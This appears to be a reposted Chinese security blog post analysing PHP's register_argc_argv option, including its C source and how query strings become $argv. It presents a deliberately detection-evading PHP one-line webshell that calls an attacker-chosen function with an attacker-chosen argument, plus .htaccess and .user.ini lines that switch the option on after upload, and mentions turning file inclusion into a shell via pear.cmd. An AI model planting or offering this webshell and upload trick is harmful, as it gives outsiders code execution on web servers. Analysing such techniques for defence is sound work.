【php安全】 register_argc_argv 造成的漏洞分析


對register_argc_argv的分析

簡介

image

使用

cli模式下,不論是否開始register_argc_argv,都可以獲取命令行或者說外部參數

image

web模式下,只有開啟了register_argc_argv,才可以獲取外部參數

未開啟register_argc_argv時

image

開啟register_argc_argv

image

可以看到,在處理argv時,不是以&作為分隔符,而是以+作為分隔符

學會了register_argc_argv后,它對於安全有什么威脅呢?

修改代碼

image

進行查看

image

可以看到,當開啟register_argc_argv后,Cli模式下會注冊兩個全局變量$argc,$argv。也就是說它同時在$_SERVER中和超全局變量中創建了對應的參數信息。
(這樣就有可能出現變量覆蓋的情況)

可以看見其中是以+號作為分隔符,而不是&

源碼分析

/* {{{ php_build_argv */
PHPAPI void php_build_argv(const char *s, zval *track_vars_array)
{
	zval arr, argc, tmp;
	int count = 0;

	if (!(SG(request_info).argc || track_vars_array)) {
		return;
	}

	array_init(&arr);

	/* Prepare argv */
	if (SG(request_info).argc) { /* are we in cli sapi? */
		int i;
		for (i = 0; i < SG(request_info).argc; i++) {
			ZVAL_STRING(&tmp, SG(request_info).argv[i]);
			if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
				zend_string_efree(Z_STR(tmp));
			}
		}
	} else 	if (s && *s) {
		while (1) {
			const char *space = strchr(s, '+');	//分隔符的設置
			/* auto-type */
			ZVAL_STRINGL(&tmp, s, space ? space - s : strlen(s));
			count++;
			if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
				zend_string_efree(Z_STR(tmp));
			}
			if (!space) {
				break;
			}
			s = space + 1;
		}
	}

	/* prepare argc */
	if (SG(request_info).argc) {
		ZVAL_LONG(&argc, SG(request_info).argc);
	} else {
		ZVAL_LONG(&argc, count);
	}

	if (SG(request_info).argc) {
		Z_ADDREF(arr);
		zend_hash_update(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), &arr);
		zend_hash_update(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), &argc);
	}
	if (track_vars_array && Z_TYPE_P(track_vars_array) == IS_ARRAY) {
		Z_ADDREF(arr);
		zend_hash_update(Z_ARRVAL_P(track_vars_array), ZSTR_KNOWN(ZEND_STR_ARGV), &arr);
		zend_hash_update(Z_ARRVAL_P(track_vars_array), ZSTR_KNOWN(ZEND_STR_ARGC), &argc);
	}
	zval_ptr_dtor_nogc(&arr);
}

漏洞利用

用這個特性寫個高免殺一句話

<?php
	$argv = $_SERVER['argv'];
	// var_dump($argv);
	$argv[0]($argv[1]);

image

但是說了這么多,前提得是register_argc_argv開啟得情況下,但默認是不開啟的,所以這里就到此gg了嘛???看了一個大師傅的博客,發現並非如此

在線查看php文檔中php.ini配置清單
image

可以看到該屬性的設置權限為php_ini_perdir,查看配置權限

php中對於配置的設置,設置了權限,即並非任何時刻任何地點都能對配置參數進行設置
image

柳暗花明又一村

於是乎,就算配置中默認沒開啟register_argc_argv選項,但我們可以先上傳一個.htaccess(Apache)或.user.ini來對配置進行覆蓋

.htaccess

php_value register_argc_argv On

.user.ini

register_argc_argv=On

直接嘗試

不知道為什么本地就是不成功,按道理應該是可以的..

折騰了小一會兒,突然想起來會不會是沒開啟.htaccess覆蓋模式

image

將配置修改好后,再次訪問成功

image

漏洞利用(2)

利用pear.cmd從LFI到getshell

總結

姿勢是真的騷,基礎是真的ε=ε=ε=( ̄▽ ̄)

缺少必要的開發及運維知識,導致對很多配置都不熟悉。。。

  1. .htaccess為什么可以被訪問?
    是因為未對請求的資源進行過濾,導致可以訪問.htaccess或.user.ini
    2.apache重寫模塊配置
    https://www.cnblogs.com/liluxiang/p/9450826.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM